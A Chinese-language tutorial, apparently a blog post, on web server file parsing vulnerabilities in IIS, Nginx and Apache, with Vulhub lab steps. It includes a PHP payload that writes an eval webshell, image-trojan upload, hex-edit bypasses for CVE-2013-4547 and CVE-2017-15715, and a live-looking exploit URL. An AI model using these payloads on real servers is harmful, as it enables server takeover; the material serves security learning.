当前位置: 首页 > news >正文

文件解析漏洞

IIS解析漏洞

在windows Server 2003安装iis

1.IIS6.X

1.1 目录解析

在网站下建立文件夹的名字为 .asp/.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

先创建一个1.asp文件夹

再创建一个1.txt 里面写 <%=now()%>

2.1 畸形文件解析

在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含asa\cer\cdx

创建一个2.asp;.jpg 

文件里面也写入 <%=now()%>

2.IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件

Nginx解析漏洞

nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将 /xx.jpg/xx.php 解析为 php 文件。

》》》利用条件《《《

  • Nginx <=0.8.37
  • cgi.fix_pathinfo=1

》》》利用姿势《《《

Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为cgi.fix_pathinfo=1造成的解析漏洞...

PS:同样使用1.jpg/.php方式进行绕过...

首先进入Vulhub路径开启容器

cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps -a

然后浏览器中访问网站

制作图片马并进行上传  获取上传文件地址

访问以下路径,利用Nginx解析漏洞...

http://124.221.58.83:8088/uploadfiles/cfc2ca1a6e0116ae8aa2a469d275c059.jpg/.php

GetShell

写入以下代码

<?php fputs(fopen('hahaha.php','w'),'<?php @eval($_POST["cmd"])?>');?>

传该图片并访问 紧接着利用解析漏洞执行其中的PHP代码

步骤三:访问同级目录下的hahaha.php文件页面为空....紧接着使用蚁剑链接...

CVE-2013-4547

此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为php。当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。

 直接上传6666.php被拦截...修改文件后缀为.jpg进行上传且在后面添加两个空格  上传成功

在.jpg后面添加两个空格并给上.php后缀,在16进制修改中将原本连个空格的0x20 0x20修改为如下即0x20 0x00进行发包..

访问上传后的文件....由于url会将其编码,需要继续抓包修改0x20 0x200x20 0x00

抓到这个然后%20%20换成空格空格

Apache解析漏洞

apache_parsing

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。如1.php.jpg

然后上传成功后与网站进行路径拼接

CVE-2017-15715

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

影响版本

  • 2.4.0~2.4.29

在hahahaha.php文件后面添加空格0x20在改为0x0a再次返送即可上传成功....

访问上传的hahahaha文件在后面加上%0a再访问发现解析了其中的PHP代码,但后缀不是php说明存在解析漏洞

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • JVM—垃圾收集算法和HotSpot算法实现细节
  • Android Gradle开发与应用(一):Gradle基础
  • Mybatis面试
  • [BJDCTF2020]Easy MD51
  • SQL时间函数转换(持续更新中)
  • [图解]掉杠·above...duty -《分析模式》漫谈20
  • 冲击性信号的频域特征
  • python 绘制离散曲线计算包络谱
  • 二级Java真题乱序版第十一套(含真题解析)
  • 黑马Java零基础视频教程精华部分_10_面向对象进阶(2)
  • 位运算(更新中)
  • 本科阶段最后一次竞赛Vlog——2024年智能车大赛智慧医疗组准备全过程——2Yolo使用之ONNX模型准备
  • PE安装win11原版系统“无法创建新的分区,也找不到现有的分区”和“windows无法对计算机进行启动到下一个安装阶段”的解决办法
  • 【参会邀请】第四届区块链技术与信息安全国际会议(ICBCTIS 2024)诚邀相聚江城!
  • 代码随想录第五十七天
  • 【面试系列】之二:关于js原型
  • co.js - 让异步代码同步化
  • CSS实用技巧
  • CSS选择器——伪元素选择器之处理父元素高度及外边距溢出
  • node-sass 安装卡在 node scripts/install.js 解决办法
  • React系列之 Redux 架构模式
  • RxJS: 简单入门
  • spring-boot List转Page
  • vue--为什么data属性必须是一个函数
  • WebSocket使用
  • Zepto.js源码学习之二
  • 翻译:Hystrix - How To Use
  • 罗辑思维在全链路压测方面的实践和工作笔记
  • 思维导图—你不知道的JavaScript中卷
  • 网络应用优化——时延与带宽
  • 一天一个设计模式之JS实现——适配器模式
  • ​Benvista PhotoZoom Pro 9.0.4新功能介绍
  • # centos7下FFmpeg环境部署记录
  • # 达梦数据库知识点
  • (173)FPGA约束:单周期时序分析或默认时序分析
  • (3)医疗图像处理:MRI磁共振成像-快速采集--(杨正汉)
  • (31)对象的克隆
  • (7)STL算法之交换赋值
  • (LeetCode 49)Anagrams
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • *p++,*(p++),*++p,(*p)++区别?
  • *算法训练(leetcode)第三十九天 | 115. 不同的子序列、583. 两个字符串的删除操作、72. 编辑距离
  • .class文件转换.java_从一个class文件深入理解Java字节码结构
  • .NET 5.0正式发布,有什么功能特性(翻译)
  • .net core Swagger 过滤部分Api
  • .net core webapi Startup 注入ConfigurePrimaryHttpMessageHandler
  • .NET Remoting Basic(10)-创建不同宿主的客户端与服务器端
  • .NET 除了用 Task 之外,如何自己写一个可以 await 的对象?
  • .NET 漏洞分析 | 某ERP系统存在SQL注入
  • .net 无限分类
  • .NET/C# 的字符串暂存池
  • .NET/C# 使用 #if 和 Conditional 特性来按条件编译代码的不同原理和适用场景
  • .NET分布式缓存Memcached从入门到实战
  • .NET开源纪元:穿越封闭的迷雾,拥抱开放的星辰
  • .Net语言中的StringBuilder:入门到精通